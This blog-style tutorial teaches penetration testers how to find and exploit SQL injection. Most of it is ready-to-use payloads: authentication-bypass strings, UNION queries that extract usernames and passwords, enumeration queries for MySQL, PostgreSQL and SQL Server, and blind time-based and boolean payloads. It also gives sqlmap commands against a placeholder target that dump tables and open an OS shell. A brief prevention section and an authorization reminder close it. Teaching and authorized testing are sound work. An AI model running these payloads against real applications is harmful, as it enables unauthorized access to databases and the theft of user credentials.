SQL Injection Tutorial: How to Find and Exploit SQLi Vulnerabilities

SQL injection (SQLi) is one of the most common and dangerous web application vulnerabilities. This tutorial explains how SQL injection works, how to identify vulnerable applications, and how to exploit them during authorized penetration tests.

What is SQL Injection?

SQL injection occurs when user input is incorrectly filtered or not properly sanitized before being included in SQL queries. This allows attackers to manipulate database queries, potentially accessing, modifying, or deleting data they should not have access to.

Types of SQL Injection

In-Band SQLi (Classic)

The attacker uses the same communication channel to launch the attack and retrieve results. This includes:

  • Error-based SQLi: Relies on error messages from the database
  • Union-based SQLi: Uses UNION SQL operator to combine results

Blind SQLi

No data is transferred via the web application, making it harder but not impossible to exploit:

  • Boolean-based: Sends queries that return true or false
  • Time-based: Uses time delays to infer information

Out-of-Band SQLi

Data is retrieved using a different channel (e.g., DNS or HTTP requests to an attacker-controlled server).

Identifying SQL Injection Vulnerabilities

Common Injection Points

  • Login forms (username/password fields)
  • Search boxes
  • URL parameters (e.g., ?id=1)
  • Cookie values
  • HTTP headers (User-Agent, Referer)
  • Form fields (hidden and visible)

Basic Testing Payloads

Start by injecting special characters to see how the application responds:

'
"
;
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--
' OR 1=1#
1' AND '1'='1
1 AND 1=1
1 AND 1=2

Exploiting SQL Injection

Authentication Bypass

A classic example is bypassing login forms. If the backend query looks like this:

SELECT * FROM users WHERE username='$user' AND password='$pass'

Entering the following as the username can bypass authentication:

admin' --
admin' #
' OR 1=1 --
' OR '1'='1' --

Union-Based Extraction

First, determine the number of columns in the original query:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
(continue until you get an error)

Or use UNION with NULL values:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Once you know the column count, extract data:

# Find which columns are displayed
' UNION SELECT 1,2,3,4--

# Extract database version
' UNION SELECT 1,@@version,3,4--

# Extract table names (MySQL)
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

# Extract column names
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'--

# Extract data
' UNION SELECT 1,username,password,4 FROM users--

Database-Specific Syntax

MySQL

# Version
SELECT @@version

# Current user
SELECT user()

# Current database
SELECT database()

# List databases
SELECT schema_name FROM information_schema.schemata

# List tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

# String concatenation
SELECT CONCAT(username,':',password) FROM users

PostgreSQL

# Version
SELECT version()

# Current user
SELECT current_user

# List tables
SELECT table_name FROM information_schema.tables WHERE table_schema='public'

# String concatenation
SELECT username || ':' || password FROM users

Microsoft SQL Server

# Version
SELECT @@version

# Current user
SELECT SYSTEM_USER

# List databases
SELECT name FROM sys.databases

# List tables
SELECT name FROM sys.tables

# String concatenation
SELECT username + ':' + password FROM users

Blind SQL Injection

Boolean-Based

When you cannot see output directly, use conditional statements:

# Test if first character of username is 'a'
' AND SUBSTRING(username,1,1)='a' FROM users WHERE id=1--

# Using ASCII values
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97--

Time-Based

When boolean responses are not distinguishable, use time delays:

# MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--

# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

# MSSQL
'; WAITFOR DELAY '0:0:5'--

Automated SQL Injection with SQLMap

SQLMap is a powerful automated SQL injection tool:

# Basic scan
sqlmap -u "http://target.com/page.php?id=1"

# Specify POST data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass"

# Use a request file from Burp
sqlmap -r request.txt

# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs

# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables

# Dump table contents
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump

# Get a shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell

Prevention

As a security professional, understanding prevention helps you identify where developers may have made mistakes:

  • Parameterized queries: Use prepared statements with bound parameters
  • Input validation: Whitelist allowed characters and patterns
  • Escape user input: Use database-specific escaping functions
  • Least privilege: Database accounts should have minimal permissions
  • WAF: Web Application Firewalls can block common attacks

Summary

SQL injection remains one of the most prevalent web vulnerabilities. Understanding both manual exploitation techniques and automated tools like SQLMap is essential for any penetration tester. Always ensure you have written authorization before testing for SQL injection vulnerabilities.

Written by

Window Events

Leave a Reply

Your email address will not be published. Required fields are marked *